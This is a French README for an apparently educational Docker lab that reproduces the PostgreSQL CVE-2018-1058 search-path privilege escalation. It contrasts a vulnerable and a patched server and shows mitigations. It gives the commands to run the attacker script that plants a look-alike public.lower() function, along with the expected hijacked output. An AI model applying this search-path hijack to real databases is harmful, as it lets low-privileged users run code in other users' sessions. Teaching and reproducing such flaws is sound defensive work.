
Reproductible démonstration basée sur Docker de l'escalade de privilèges PostgreSQL CVE-2018-1058 via un chemin de recherche non contrôlé, avec comparaison d'environnements vulnérable et corrigé.
Ce dépôt contient le rapport final et les artefacts de reproductibilité pour :
CVE-2018-1058 : Élévation de privilèges dans PostgreSQL via un Search Path non contrôlé
L'objectif est de démontrer l'échec de confiance du search path à l'origine de CVE-2018-1058 en utilisant un environnement Docker local sécurisé.
La démonstration ne reproduit pas le chemin d'exécution historique exact de pg_dump. Elle reproduit plutôt la même cause racine décrite dans les recommandations PostgreSQL : un schéma accessible en écriture par un attaquant contient un objet ressemblant, et une autre session résout un nom non qualifié vers cet objet.
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
├── init.sql
├── init_safe.sql
├── exploit.sql
├── victim_query.sql
├── verify_qualify.sql
└── fix.sql
Le rapport final est report.pdf. Il inclut l'analyse écrite et les captures d'écran correspondant aux sorties attendues ci-dessous.
Aucun Dockerfile n'est nécessaire. Le projet utilise les images officielles postgres.
Les captures d'écran sont intégrées directement dans report.pdf, elles ne sont donc pas fournies en fichiers image séparés.
Installez :
psql, optionnel mais recommandéLa démonstration utilise deux conteneurs PostgreSQL :
| Service | Version | Nom du conteneur | Port hôte | Objectif |
|---|---|---|---|---|
pg_vulnerable | PostgreSQL 10.2 | cve1058_pg_vulnerable | 15432 | démonstration vulnérable |
pg_fixed | PostgreSQL 10.3 | cve1058_pg_fixed | 15433 | comparaison corrigée/renforcée |
Assurez-vous que les ports 15432 et 15433 sont libres.
L'ordre d'exécution attendu est :
exploit.sql en tant que attacker.victim_query.sql en tant que victim et observer le préfixe CVE-2018-1058 DEMO:.verify_qualify.sql en tant que victim et observer les sorties normales en minuscules.fix.sql en tant que postgres.victim_query.sql et observer les sorties normales en minuscules.exploit.sql sur le port 15433 et observer permission denied for schema public.docker compose up -d pg_vulnerable
docker compose ps
Résultat attendu : le service pg_vulnerable doit être en cours d'exécution et mappé sur le port 15432.
Vérifiez la version de PostgreSQL :
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"
Résultat attendu : PostgreSQL 10.2.
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"
Rôles attendus :
postgresattackervictimL'attaquant n'est pas un superutilisateur PostgreSQL.
Exécutez le script de l'attaquant :
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
Sortie attendue :
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION
Ceci crée :
public.exploit_log inoffensive ;public.lower(varchar).PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
Sortie attendue :
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo
Ceci montre que la requête normale de la victime a résolu lower(...) vers la fonction contrôlée par l'attaquant.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"
Résultat attendu : au moins deux lignes dans public.exploit_log, une pour chaque ligne traitée par la requête de la victime.
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql
Sortie attendue :
alice demo
bob demo
Cela fonctionne car pg_catalog.lower(...) force PostgreSQL à utiliser la fonction intégrée.
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql
La sortie attendue peut inclure :
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE
Ensuite, réexécutez la requête de la victime :
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
Sortie attendue :
alice demo
bob demo
La fonction contrôlée par l'attaquant a disparu et la requête renvoie des chaînes normales en minuscules.
docker compose up -d pg_fixed
docker compose ps
Vérifiez la version :
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"
Résultat attendu : PostgreSQL 10.3.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
Sortie attendue :
ERROR: permission denied for schema public
Cela signifie que l'attaquant ne peut pas créer la fausse fonction dans public, donc la chaîne d'attaque s'arrête avant la résolution de nom.
Pour arrêter les conteneurs :
docker compose down
Pour supprimer les volumes et réinitialiser complètement le projet :
docker compose down -v
Cette démonstration est intentionnellement inoffensive. Elle ne vole pas de données, n'accède pas aux fichiers et n'exécute pas de commandes du système d'exploitation.
L'exploit utilise un préfixe de chaîne visible et une table de journalisation pour prouver que PostgreSQL a résolu un nom de fonction non qualifié vers un objet contrôlé par l'attaquant.
Le CVE officiel concerne pg_dump et d'autres applications clientes. Ce dépôt démontre le même échec de confiance du search path dans un cadre pédagogique sûr et reproductible.
Si un port est déjà utilisé, arrêtez tout service PostgreSQL local ou modifiez les ports hôtes dans docker-compose.yml.
Si la sortie ne correspond pas aux résultats attendus, réinitialisez l'environnement avec :
docker compose down -v
docker compose up -d pg_vulnerable
Si psql n'est pas installé localement, les commandes d'inspection de version et de rôles peuvent toujours être exécutées avec docker exec à l'intérieur des conteneurs.
Si l'exploit échoue sur pg_vulnerable, assurez-vous que la base de données a été réinitialisée et que scripts/exploit.sql est exécuté avant scripts/fix.sql.